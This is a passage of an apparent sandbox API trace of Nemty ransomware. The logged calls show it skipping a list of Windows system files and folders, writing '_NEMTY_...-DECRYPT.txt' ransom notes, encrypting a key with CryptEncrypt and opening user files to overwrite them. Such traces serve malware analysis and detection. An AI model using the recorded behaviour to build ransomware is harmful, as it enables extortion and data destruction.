CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0095.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0095.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0095.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.892] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaec9310, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeaec9310, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeaec9310, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0095.892] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0095.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0095.893] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2=".") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="..") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="...") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="windows") returned -1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="$RECYCLE.BIN") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="rsa") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="NTDETECT.COM") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="ntldr") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="MSDOS.SYS") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="IO.SYS") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="boot.ini") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="boot.ini") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="AUTOEXEC.BAT") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="ntuser.dat") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="desktop.ini") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="CONFIG.SYS") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="RECYCLER") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="BOOTSECT.BAK") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="bootmgr") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="programdata") returned 1 [0095.893] lstrcmpiW (lpString1="VideoWall", lpString2="appdata") returned 1 [0095.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VideoWall", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0095.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VideoWall", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VideoWall", lpUsedDefaultChar=0x0) returned 9 [0095.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VideoWall", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0095.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VideoWall", cchWideChar=9, lpMultiByteStr=0x653ef10, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VideoWall", lpUsedDefaultChar=0x0) returned 9 [0095.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0095.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0095.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0095.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0095.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0095.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0095.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0095.894] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0095.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0095.895] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.895] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0095.896] CloseHandle (hObject=0x3cc) returned 1 [0095.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0095.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0095.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0095.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942b0 [0095.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94328 [0095.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0095.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0095.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0095.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0095.897] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0095.897] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0095.897] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.897] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0095.898] CloseHandle (hObject=0x3cc) returned 1 [0095.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0095.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0095.898] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeccd68d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeccd68d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0095.899] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0095.899] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeccd68d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeccd68d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0095.899] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0095.899] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0095.899] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2=".") returned 1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="..") returned 1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="...") returned 1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="windows") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="rsa") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="NTDETECT.COM") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntldr") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="MSDOS.SYS") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="IO.SYS") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="boot.ini") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="AUTOEXEC.BAT") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="ntuser.dat") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="desktop.ini") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="CONFIG.SYS") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RECYCLER") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="BOOTSECT.BAK") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="bootmgr") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="programdata") returned -1 [0095.899] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="appdata") returned -1 [0095.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.899] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0095.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0095.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0095.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0095.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0095.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0095.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0095.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x0) returned 19 [0095.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0095.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0095.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0095.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0095.900] Sleep (dwMilliseconds=0x5) [0095.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeccfca30, dwHighDateTime=0x1d561e7)) [0095.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeccfca30, dwHighDateTime=0x1d561e7)) [0095.907] GetLastError () returned 0xb7 [0095.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.907] GetLastError () returned 0xb7 [0095.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.907] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0095.907] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0095.907] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0095.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0095.907] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="+TWBPAVPULYQDzOctbkEo/rC3Cy/PXvCtAutuMD7o881+xXO+7IpFGt4X+Gil7iV\r\niHQ9cSpjISVCBkdd6o17kCWLWyDC3HjZGQfH97bkLRjDtbpr/J7jxqj1+Hd14amq\r\nQm7NPu2QCw4JWgbjfWFGPewjA+zVNAQMhVmotB5VNkFoboCETkd3z+f9t6t7IWTm\r\nmpKOatVK4IvrRc0X18tjRd4nqxvQCmWVVdmpje0AjkFTN4kxDzlvSwjKktbD7MRw\r\nlvOjAxb2722T9upfiqTqT6owVALf+5ct+NGWPWL8i2FsDtfCMdfS7QHSuuuwU2GA\r\nXEqUgoboHoWjvWU06okuLw==\r\n", pcchString=0x653e91c) returned 1 [0095.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0095.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0095.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0095.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0095.907] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.907] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0095.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0095.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.908] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 